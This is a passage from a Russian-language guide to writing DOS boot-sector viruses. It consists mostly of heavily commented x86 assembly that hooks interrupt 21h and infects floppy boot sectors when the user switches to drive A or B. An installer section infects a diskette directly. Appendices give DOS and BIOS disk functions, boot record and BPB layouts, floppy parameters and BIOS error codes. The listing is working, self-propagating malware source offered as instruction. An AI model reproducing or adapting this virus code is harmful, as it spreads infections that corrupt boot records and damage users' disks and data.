je cs:rrr_rrr ;AX = 0babch. Если
;обработчик активен,
;мы должны получить
;AL = 98h, иначе
;Int 21h следует
;перехватить, чем
;мы и займемся:
push cs ;DS = CS
pop ds ;
;
cli ;Запретить прерыва-
;ния
mov ax,3521h ;Получим и сохраним
int 21h ;вектор
mov old_21h - 100h,bx ;Int 21h
mov old_21h_2 - 100h,es;
;
mov ax,2521h ;А теперь переставим
mov dx,to_new_21h ;этот вектор на
int 21h ;вирусный обработчик
sti ;Разрешить прерыва-
;ния
rrr_rrr: popf ;Восстановим
pop es ;из
pop ds ;стека
pop dx ;регистры
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на сис-
old_16h dw 0 ;темный обработчик
old_16h_2 dw 0 ;Int 16h

;-----------------------------------------------------------------------------
;
;Здесь начинается вирусный обработчик Int 21h. Он
;отслеживает смену оператором текущего диска. Если
;текущим становится диск " A " или " B ", обработ-
;чик заражает этот диск

to_new_21h equ $ - my_prg

new_21h: pushf ;Этот участок
cmp ax,0babch ;обработчика Int 21h
jne cs:else_func ;отвечает обработчику
mov al,98h ;Int 16h значением
popf ;AL = 98h; это служит
iret ;признаком активности
;обработчика Int 21h
;
else_func: popf ;Сохраним
push ax ;регистры
push bx ;в
push cx ;стеке
push dx ;
push di ;
push ds ;
push es ;
pushf ;
;
cmp ah,0eh ;Смена текущего
;диска ?
jne cs:to_jump ;Нет - на выход
cmp dl,1 ;Да - текущим
;хотят сделать " A "
;или " B " - диско-
;вод ?
ja cs:to_jump ;Нет - на выход
;Иначе - продол-
;жим :
push cs ;ES = CS
pop es ;
;
push cs ;DS = CS
pop ds ;
;
mov cx,3 ;Попробуем про-
next_read: push cx ;честь BOOT -
;сектор дискеты.
call cs:read_mbr ;На это даем три
pop cx ;попытки (напри-
jnc cs:inf_check ;мер,если двига-
;тель дисковода
;не успел разо-
;гнаться до ра-
;бочей скорости,
;то BIOS вернет
;ошибку -дискета
;сменена ! )
xor ah,ah ;При ошибке -
int 13h ;дисковод
jc cs:to_jump ;и повторим
loop cs:next_read ;чтение
to_jump: jmp cs:restore_regs ;
;
;BOOT заражен ?
inf_check: cmp byte ptr ds:[455h],0eh
je cs:to_jump ;Да !
cmp word ptr ds:[40bh],200h ;512 байт в
;секторе ?
jne cs:restore_regs ;Нет - на выход
;
mov ch,79 ;Определим
mov dh,byte ptr ds:[415h]
cmp dh,0f0h ;параметры
je cs:real_80 ;дискеты
cmp dh,0f9h ;по ее
je cs:real_80 ;Media
cmp dh,0fdh ;Descryptor
jne cs:to_jump ;
mov ch,39 ;
real_80: mov dh,01h ;
mov cl,byte ptr ds:[418h]
;Перепишем нас-
;тоящий BOOT в
;последний сек-
;тор последней
;дорожки на пос-
;ледней стороне
call cs:write_mbr_last ;
jc cs:to_jump ;
;
mov additor - 100h,055h;Сформируем код,
xor di,di ;который нужно
mov cx,prg_lenght ;записать на
copy_vir: mov al,byte ptr ds:[di];дискету вместо
mov byte ptr ds:[di + 455h],al ;исходной BOOT -
inc di ;записи
loop cs:copy_vir ;
mov word ptr ds:[400h],053ebh ;
;
xor dh,dh ;И запишем его
call cs:write_mbr ;в первый
;сектор нулевой
;дорожки нулевой
;стороны дискеты
;
restore_regs: ;Восстановим из
popf ;стека регистры
pop es ;
pop ds ;
pop di ;
pop dx ;
pop cx ;
pop bx ;
pop ax ;
;
db 0eah ;И перейдем на сис-
old_21h dw 0 ;темный обработчик
old_21h_2 dw 0 ;Int 21h

read_mbr proc ;
xor dh,dh ;
mov ax,0201h ;Процедура
mov bx,400h ;читает первый
mov cx,01h ;сектор нулевой
int 13h ;дорожки нулевой
;стороны указан-
ret ;ного накопителя
read_mbr endp ;
;
write_mbr proc ;
mov ax,0301h ;Процедура
mov cx,01h ;помещает вирус-
int 13h ;ный код в BOOT-
;сектор дискеты
ret ;или записывает
write_mbr endp ;его вместо MBR
;винчестера
;
write_mbr_last proc ;Процедура
;переписывает
;исходную BOOT-
;запись или MBR
;в заданный
;сектор зара-
;жаемого диска
push dx ;Если заражается
cmp dl,01h ;диск в дисководе
jne cs:not_correct ;" B ",следует
xor dl,dl ;обнулить номер
not_correct: ;накопителя в
mov num_head - 100h,dx ;ячейке "num_head",
pop dx ;иначе машина не
mov cyl_sect - 100h,cx ;будет загружаться
;с такого диска.
mov ax,0301h ;Остальное, каже-
int 13h ;тся, ясно.
ret ;
write_mbr_last endp ;
;
vir_name db '' ;Имя вируса
num_head dw 0 ;Здесь вирус
cyl_sect dw 0 ;хранит номер
;головки,дорожки
;и сектора , в
;которых запи-
;сана настоящая
;загрузочная
;запись
;зараженного
;диска

prg_lenght equ $ - my_prg

;-----------------------------------------------------------------------------
;
;Здесь начинается секция инсталляции вируса

installer: lea si,my_prg ;Подменим коман-
mov byte ptr [si],00eh ;ду перехода на
mov byte ptr [si + 1],017h ;первые три бай-
mov byte ptr [si + 2],0bch ;та кода вируса
;Начало вируса
;будет иметь вид:
;PUSH CS
;POP SS
;MOV SP,7BFEh.
;Теперь
mov ax,0201h ;попробуем про-
mov cx,01h ;честь BOOT -
xor dx,dx ;сектор дискеты.
lea bx,bufer ;
int 13h ;
jc error ;
;
push es ;Получим пара-
mov ah,08h ;метры дискеты
xor dl,dl ;
int 13h ;
jnc all_good ;
cmp ah,01h ;
jne error ;
mov dh,01h ;
mov ch,27h ;
mov cl,byte ptr bufer [18h] ;
all_good: xor dl,dl ;
mov num_head,dx ;
mov cyl_sect,cx ;
pop es ;
;
mov ax,0301h ;Перепишем нас-
lea bx,bufer ;тоящий BOOT в
int 13h ;последний сек-
jc error ;тор последней
;дорожки на пос-
;ледней стороне
;
mov additor,055h ;Сформируем код,
lea si,bufer + 55h ;который нужно
lea di,my_prg ;записать на
mov cx,prg_lenght ;дискету вместо
copy_boot: mov al,byte ptr [di] ;исходной BOOT -
mov byte ptr [si],al ;записи
inc si ;
inc di ;
loop copy_boot ;
mov word ptr bufer[0],053ebh ;
;
mov ax,0301h ;И запишем его
mov cx,01h ;в первый
mov dx,0 ;сектор нулевой
lea bx,bufer ;дорожки нулевой
int 13h ;стороны дискеты
jnc prg_end ;
;
error: mov ah,09h ;Если была оши-
lea dx,err_mes ;бка - выведем
int 21h ;сообщение о ней
;
prg_end: mov ax,4c00h ;Завершаем за-
int 21h ;пускающую про-
;грамму
err_mes db 'Error !$' ;Сообщение
bufer db 512 dup ( 0 ) ;В этот буфер
;считывается
;BOOT - сектор
;заражаемой
;дискеты
prg ends ;Стандартное
end my_prg ;окончание ASM-
;программы ...

ПРИЛОЖЕНИЕ 1

Описание используемых функций MS DOS и BIOS

----------------------------------------------------------------------
Функция 09h - Вывод строки на экран.Последним символом строки должен
быть " $ " .
Вызов : AH = 09h
DS : DX = адрес строки .

Функция 4Ch - Завершение процесса с кодом возврата .
Вызов : AH = 4Ch
AL = код возврата .

AL = 00h обычно соответствует нормальному завершению программы .

----------------------------------------------------------------------
Прерывание INT 13h, функция 02h - чтение сектора. Считывает один или
несколько определенных пользователем секторов физического диска в вы-
деленный буфер.Для начального сектора указываются такие координаты :
дорожка,сектор, головка .Секторы на дорожке нумеруются от единицы, до-
рожки и головки нумеруются от нуля .
Вызов : AH = 02h
AL = количество читаемых секторов
CH = дорожка
CL = начальный сектор
DH = головка
DL = дисковод ( 00h - 07Fh - для дискетного дисковода,
80h - 0FFh - для " винчестера " ).
ES : BX = адрес буфера, в который будет читаться информация
Возврат : CF = 0
AH = 0
AL = количество прочитанных секторов
При ошибке :
CF = 1
AH = байт состояния .
*
Биты регистра CX 5...0 определяют номер сектора, а биты 15...6 - но-
мер дорожки !!! А именно :
____________________________________________
| Номер бита |15 |14 |13 |12 |11 |10 | 9 | 8 |
|------------|---|---|---|---|---|---|---|---|
| Содержимое | | | | | | | | |
| бита |c |c |c |c |c |c |c |c |
|____________|___|___|___|___|___|___|___|___|

____________________________________________
| Номер бита | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
|------------|---|---|---|---|---|---|---|---|
| Содержимое | | | | | | | | |
| бита |C |c |S |s |s |s |s |s |
|____________|___|___|___|___|___|___|___|___|

Буква " C " или " c " означает, что бит принадлежит номеру дорожки;
Буква " S " или " s " означает, что бит принадлежит номеру сектора.
Биты "7" и "6" являются старшими битами номера дорожки, а биты "5" и
"4" являются старшими битами номера сектора.

Прерывание INT 13h, функция 03h - запись сектора.Записывает один или
несколько определенных пользователем секторов на физический диск .Для
начального сектора указываются такие координаты :
дорожка, сектор, головка .
Вызов : AH = 03h
AL = количество записываемых секторов
CH = дорожка
CL = начальный сектор
DH = головка
*** ( см функцию 02h ) ***
DL = дисковод ( 00h - 07Fh - для дискетного дисковода,
80h - 0FFh - для " винчестера " ).
ES : BX = адрес буфера, информация из которого записывается
на диск
Возврат : CF = 0
AH = 0
AL = количество записанных секторов
При ошибке :
CF = 1
AH = байт состояния .

Прерывание INT 13h, функция 00h - сброс указанного накопителя.
Вызов : AH = 00h
DL = дисковод ( 00h - 07Fh - для дискетного дисковода,
80h - 0FFh - для " винчестера " ).

ПРИЛОЖЕНИЕ 2

Формат загрузочной записи для MS DOS различных версий

Формат BOOT - записи для версий MS DOS до 4.0
________________________________________________
|Смещение |Размер | Содержимое |
| ( HEX ) |( DEC )| |
|---------|-------|------------------------------|
|00h |03 |Команда EB xx 90 перехода на |
| | |программу начальной загрузки |
|---------|-------|------------------------------|
|03h |08 |Название фирмы - производителя|
| | |и номер операционной системы |
|---------|-------|------------------------------|
|0Bh |13 |Блок параметров BIOS ( BPB ) |
|---------|-------|------------------------------|
|18h |02 |Количество секторов на дорожке|
|---------|-------|------------------------------|
|1Ah |02 |Количество поверхностей диска |
|---------|-------|------------------------------|
|1Ch |02 |Количество скрытых секторов, |
| | |которые иногда используются |
| | |для разбиения диска на разделы|
|---------|-------|------------------------------|
|1Eh |480 |Программа начальной загрузки, |
| | |называемая загрузочной записью|
| | |(Boot Record). |
|---------|-------|------------------------------|
|1FEh |02 |Код : 55 AA |
|_________|_______|______________________________|

Формат BOOT - записи для версии MS DOS 4.0
________________________________________________
|Смещение |Размер | Содержимое |
| ( HEX ) |( DEC )| |
|---------|-------|------------------------------|
|00h |03 |Команда EB xx 90 перехода на |
| | |программу начальной загрузки |
|---------|-------|------------------------------|
|03h |08 |Название фирмы - производителя|
| | |и номер операционной системы |
|---------|-------|------------------------------|
|0Bh |25 |Расширенный блок параметров |
| | |BIOS ( EBPB ) |
|---------|-------|------------------------------|
|24h |01 |Физический номер дисковода |
| | |( 00h - для дискетного диско- |
| | |вода, 80h - для винчестера ) |
|---------|-------|------------------------------|
|25h |01 |Зарезервировано |
|---------|-------|------------------------------|
|26h |01 |Символ " ) " - признак расши- |
| | |ренной загрузочной записи |
| | |MS DOS 4.0 |
|_________|_______|______________________________|
|27h |04 |Серийный номер диска,создается|
| | |во время его форматирования |
|---------|-------|------------------------------|
|2Bh |11 |Метка ( Volume Label ) диска, |
| | |задается во время его форма- |
| | |тирования |
|---------|-------|------------------------------|
|36h |08 |Обычно содержит запись типа |
| | |" FAT 12 " или аналогичную |
|_________|_______|______________________________|
|3Eh |448 |Программа начальной загрузки, |
| | |называемая загрузочной записью|
| | |(Boot Record). |
|---------|-------|------------------------------|
|1FEh |02 |Код : 55 AA |
|_________|_______|______________________________|

Формат Master Boot Record ( MBR ) - главной загрузочной записи жестко-
го диска
________________________________________________
|Смещение |Размер | Содержимое |
| ( HEX ) |( DEC )| |
|---------|-------|------------------------------|
|00h |446 |Программа, называемая |
| | |главной загрузочной записью |
| | |(MBR, или Master Boot Record).|
|---------|-------|------------------------------|
|1BEh |16 |Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1CEh |16 |Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1DEh |16 |Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1EEh |16 |Элемент таблицы разделов диска|
|---------|-------|------------------------------|
|1FEh |02 |Код : 55 AA |
|_________|_______|______________________________|

Формат BPB для версий MS DOS до 4.0
________________________________________________
|Смещение |Размер | Содержимое |
| ( HEX ) |( DEC )| |
|---------|-------|------------------------------|
|00h |02 |Количество байтов |
| | |в одном секторе диска |
|---------|-------|------------------------------|
|02h |01 |Количество секторов |
| | |в одном кластере |
|---------|-------|------------------------------|
|03h |02 |Количество зарезервированных |
| | |секторов |
|---------|-------|------------------------------|
|05h |01 |Количество копий FAT |
|---------|-------|------------------------------|
|06h |02 |Максимальное количество дес- |
| | |крипторов файлов, содержащихся|
| | |в корневом каталоге диска |
|---------|-------|------------------------------|
|08h |02 |Общее количество секторов на |
| | |носителе данных в разделе DOS |
|_________|_______|______________________________|
|0Ah |01 |Байт - описатель среды носи- |
| | |теля данных |
|---------|-------|------------------------------|
|0Bh |02 |Количество секторов,занимаемых|
| | |одной копией FAT |
|_________|_______|______________________________|

Формат EBPB
________________________________________________
|Смещение |Размер | Содержимое |
| ( HEX ) |( DEC )| |
|---------|-------|------------------------------|
|00h |02 |Количество байтов |
| | |в одном секторе диска |
|---------|-------|------------------------------|
|02h |01 |Количество секторов |
| | |в одном кластере |
|---------|-------|------------------------------|
|03h |02 |Количество зарезервированных |
| | |секторов |
|---------|-------|------------------------------|
|05h |01 |Количество копий FAT |
|---------|-------|------------------------------|
|06h |02 |Максимальное количество дес- |
| | |крипторов файлов, содержащихся|
| | |в корневом каталоге диска |
|---------|-------|------------------------------|
|08h |02 |Общее количество секторов на |
| | |носителе данных в разделе DOS |
|_________|_______|______________________________|
|0Ah |01 |Байт - описатель среды носи- |
| | |теля данных |
|---------|-------|------------------------------|
|0Bh |02 |Количество секторов,занимаемых|
| | |одной копией FAT |
|_________|_______|______________________________|
|0Dh |02 |Количество секторов |
| | |на дорожке |
|---------|-------|------------------------------|
|0Fh |02 |Количество головок накопителя |
|---------|-------|------------------------------|
|11h |02 |Количество скрытых секторов |
| | |для раздела,который по размеру|
| | |меньше 32 - х Мегабайт |
|---------|-------|------------------------------|
|13h |02 |Количество скрытых секторов |
| | |для раздела,который по размеру|
| | |превышает 32 Мегабайта |
| | |( Используется только в |
| | |MS DOS 4.0 ) |
|---------|-------|------------------------------|
|15h |04 |Общее количество секторов на |
| | |логическом диске для раздела, |
| | |который по размеру превышает |
| | |32 Мегабайта |
|_________|_______|______________________________|

Параметры дискет различных типов
________________________________________________
|Диаметр | | | | | |
|диска | 3.5" | 3.5" | 3.5" | 5.25" | 5.25 " |
|----------|------|------|------|-------|--------|
|Емкость | | | | | |
|диска, Kb | 2880 | 1440 | 720 | 1200 | 360 |
|----------|------|------|------|-------|--------|
|Media | | | | | |
|Descryptor| F0h | F0h | F9h | F9h | FDh |
|----------|------|------|------|-------|--------|
|Количество| | | | | |
|сторон | 2 | 2 | 2 | 2 | 2 |
|----------|------|------|------|-------|--------|
|Количество| | | | | |
|дорожек | 80 | 80 | 80 | 80 | 40 |
|на стороне| | | | | |
|----------|------|------|------|-------|--------|
|Количество| | | | | |
|секторов | 36 | 18 | 9 | 15 | 9 |
|на дорожке| | | | | |
|----------|------|------|------|-------|--------|
|Размер | | | | | |
|сектора | 512 | 512 | 512 | 512 | 512 |
|----------|------|------|------|-------|--------|
|Количество| | | | | |
|секторов | 2 | 1 | 2 | 1 | 2 |
|в кластере| | | | | |
|----------|------|------|------|-------|--------|
|Длина FAT | | | | | |
|в секторах| 9 | 9 | 3 | 7 | 2 |
|----------|------|------|------|-------|--------|
|Количество| | | | | |
|копий FAT | 2 | 2 | 2 | 2 | 2 |
|----------|------|------|------|-------|--------|
|Длина | | | | | |
|корневого | | | | | |
|каталога | 15 | 14 | 7 | 14 | 7 |
|в секторах| | | | | |
|__________|______|______|______|_______|________|

ПРИЛОЖЕНИЕ 3

КОДЫ ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ BIOS
----------------------------------------------------------------------
00h - Ошибки нет
01h - Неправильная команда
02h - Не найдена адресная метка
03h - Диск защищен от записи
04h - Сектор не найден
05h - Сброс жесткого диска не прошел
06h - Дискета вынута
07h - Неправильная таблица параметров жесткого диска ( HDPT - Hard
Disk Parameter Table )
0Ch - Не найден тип носителя данных
0Dh - Неправильное число секторов в формате на жестком диске
10h - Невосстановимая ошибка данных
11h - Восстановленная ошибка данных на жестком диске
20h - Неисправность контроллера
40h - Ошибка позиционирования
80h - Тайм - аут диска
AAh - Жесткий диск не готов
BBh - Неизвестная ошибка жесткого диска